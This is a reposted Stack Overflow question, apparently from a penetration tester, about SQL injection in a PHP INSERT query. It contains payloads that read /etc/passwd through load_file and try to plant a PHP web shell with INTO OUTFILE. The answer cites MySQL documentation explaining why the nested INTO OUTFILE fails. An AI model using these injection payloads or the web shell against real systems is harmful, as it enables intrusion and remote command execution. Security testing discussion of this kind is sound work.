gpt4 book ai didi

php - 在 INSERT MySQL 查询中选择 INTO OUTFILE

转载 作者:行者123 更新时间:2023-11-29 04:16:58 24 4
gpt4 key购买 nike

这是一个有趣的场景。在最近的一次渗透测试中,我在 INSERT 查询中发现了 SQL 注入(inject)。后端代码看起来像这样:

$sqlquery= "INSERT INTO sometable set col1='" + $_GET['param'] + "'";

我可以在文件中插入任意值,甚至可以使用 SELECT 子查询将 '/etc/passwd' 的内容插入到某个表中的 col1 中,稍后通过一个完全不同的功能在其他地方读取它申请。

$sqlquery= "INSERT INTO sometable set col1='1', (SELECT load_file('/etc/passwd'))";

挑战是使用 INTO OUTFILE 将文件写入磁盘(我有 FILE privs 并且文档根目录可由 MySQL 用户写入 - 已验证)。看起来 MySQL 不支持以下内容:

$sqlquery= "INSERT INTO sometable set col1='1', (SELECT 'a' INTO OUTFILE '/tmp/data.txt')";

目的是在我有写权限的文件夹中写一个php web shell。需要执行的最终查询是这样的:

 $sqlquery= "INSERT INTO sometable set col1='1', (SELECT '<?php system($_GET['x']) ?>' INTO OUTFILE'/var/www/app/imgupload/shell.php')";

MySQL 期望子查询返回数据,这就是为什么上面的语句似乎不起作用,因为 INTO OUTFILE 会将数据写入磁盘而不是将其返回到 MySQL。

您认为有解决方法吗?

最佳答案

来自 http://dev.mysql.com/doc/refman/5.7/en/select-into.html

An INTO clause should not be used in a nested SELECT because such a SELECT must return its result to the outer context.

所以我认为答案是否定的。

另见 mysql insert can't with select into outfile?

关于php - 在 INSERT MySQL 查询中选择 INTO OUTFILE,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/39898844/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com